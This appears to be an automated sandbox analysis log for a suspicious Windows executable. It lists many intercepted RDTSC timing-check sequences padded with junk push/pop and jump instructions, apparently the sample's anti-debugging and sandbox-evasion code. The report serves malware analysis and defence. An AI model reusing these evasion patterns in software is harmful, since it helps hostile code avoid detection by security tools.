Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E0813 second address: 9E0817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0E281 second address: A0E2AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c jns 00007F97B4F2EDE8h 0x00000012 jnp 00007F97B4F2EDCEh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0E2AE second address: A0E2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0E2B2 second address: A0E2B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0E400 second address: A0E41E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F97B4EC49C4h 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0E556 second address: A0E574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F97B4F2EDCFh 0x0000000e jne 00007F97B4F2EDC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0E574 second address: A0E587 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A0E587 second address: A0E5A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD5h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A13628 second address: A13645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F97B4EC49C8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A13645 second address: A1365B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F97B4F2EDD0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A13E14 second address: A13E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 je 00007F97B4EC49B6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A13E2D second address: A13E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A16677 second address: A1667D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A1667D second address: A16681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A16681 second address: A16693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F97B4EC49BAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A1A5C9 second address: A1A5EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD0h 0x00000007 jmp 00007F97B4F2EDCEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A1A5EB second address: A1A5F5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F97B4EC49BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A1A781 second address: A1A7A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCDh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F97B4F2EDCBh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A1A7A6 second address: A1A7AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A1A7AF second address: A1A7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A1AD92 second address: A1AD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F97B4EC49B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A1B2C8 second address: A1B2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F97B4F2EDD9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A22607 second address: A2260C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2260C second address: A22617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2603D second address: A2608C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C5h 0x00000007 jmp 00007F97B4EC49C5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jp 00007F97B4EC49E7h 0x00000014 jmp 00007F97B4EC49C7h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2608C second address: A26090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A258DA second address: A258E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A258E4 second address: A25920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F97B4F2EDD5h 0x00000011 jmp 00007F97B4F2EDD0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A25920 second address: A25932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A25D73 second address: A25D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A25D77 second address: A25D91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2A266 second address: A2A26C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2A26C second address: A2A28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 ja 00007F97B4EC49BEh 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jns 00007F97B4EC49B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2E9B0 second address: A2E9B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2E9B6 second address: A2E9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2E9BC second address: A2E9CC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F97B4F2EDC8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2E9CC second address: A2E9D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A2E9D0 second address: A2E9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E02F5 second address: 9E02FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A37728 second address: A3773C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F97B4F2EDCBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A358A1 second address: A358A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A358A5 second address: A358B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007F97B4F2EDD2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A35A1A second address: A35A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 pushad 0x00000008 jnl 00007F97B4EC49B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A35A2A second address: A35A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4F2EDCEh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F97B4F2EDCDh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A36402 second address: A36446 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F97B4EC49C8h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 jc 00007F97B4EC49B8h 0x00000019 pushad 0x0000001a popad 0x0000001b jo 00007F97B4EC49BAh 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 jl 00007F97B4EC49B8h 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A36446 second address: A36450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F97B4F2EDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A366F0 second address: A366F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A366F4 second address: A36706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F97B4F2EDCAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A36706 second address: A36717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F97B4EC49B6h 0x00000009 je 00007F97B4EC49B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A36717 second address: A36720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A36720 second address: A36724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3F648 second address: A3F64E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3F64E second address: A3F652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3F652 second address: A3F65E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F97B4F2EDC6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3E81A second address: A3E837 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3E837 second address: A3E845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F97B4F2EDC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3E9A8 second address: A3E9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3EC6C second address: A3EC90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCEh 0x00000007 jmp 00007F97B4F2EDD2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3EC90 second address: A3EC9E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F97B4EC49B8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3EC9E second address: A3ECA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3ECA4 second address: A3ECC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A3ECC2 second address: A3ECC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A44D12 second address: A44D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F97B4EC49B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A44D1E second address: A44D6B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F97B4F2EDCCh 0x00000008 jne 00007F97B4F2EDC6h 0x0000000e jnl 00007F97B4F2EDCCh 0x00000014 jns 00007F97B4F2EDC6h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d pushad 0x0000001e jmp 00007F97B4F2EDD3h 0x00000023 jmp 00007F97B4F2EDD7h 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A44D6B second address: A44D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A44D71 second address: A44D8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A45312 second address: A4532B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F97B4EC49BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A45732 second address: A4574F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4F2EDD8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4574F second address: A4575C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnp 00007F97B4EC49B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A459F6 second address: A45A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jno 00007F97B4F2EDC6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A45B6E second address: A45B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F97B4EC49C8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A45B8C second address: A45B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A45B90 second address: A45BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jl 00007F97B4EC49B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A462BC second address: A462C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A462C0 second address: A462D3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F97B4EC49B8h 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b jp 00007F97B4EC49B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4D93E second address: A4D944 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4D944 second address: A4D950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4D950 second address: A4D954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4D954 second address: A4D95A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DAA2 second address: A4DAAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DC44 second address: A4DC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DC48 second address: A4DC5E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007F97B4F2EDC6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DC5E second address: A4DC68 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DC68 second address: A4DC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DC6E second address: A4DC74 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DC74 second address: A4DC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DC81 second address: A4DC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4DC87 second address: A4DC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4F2EDCBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A4F596 second address: A4F59C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A5EAB4 second address: A5EAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4F2EDCAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A5E794 second address: A5E7A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F97B4EC49B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A5E7A4 second address: A5E7A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A64A65 second address: A64A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
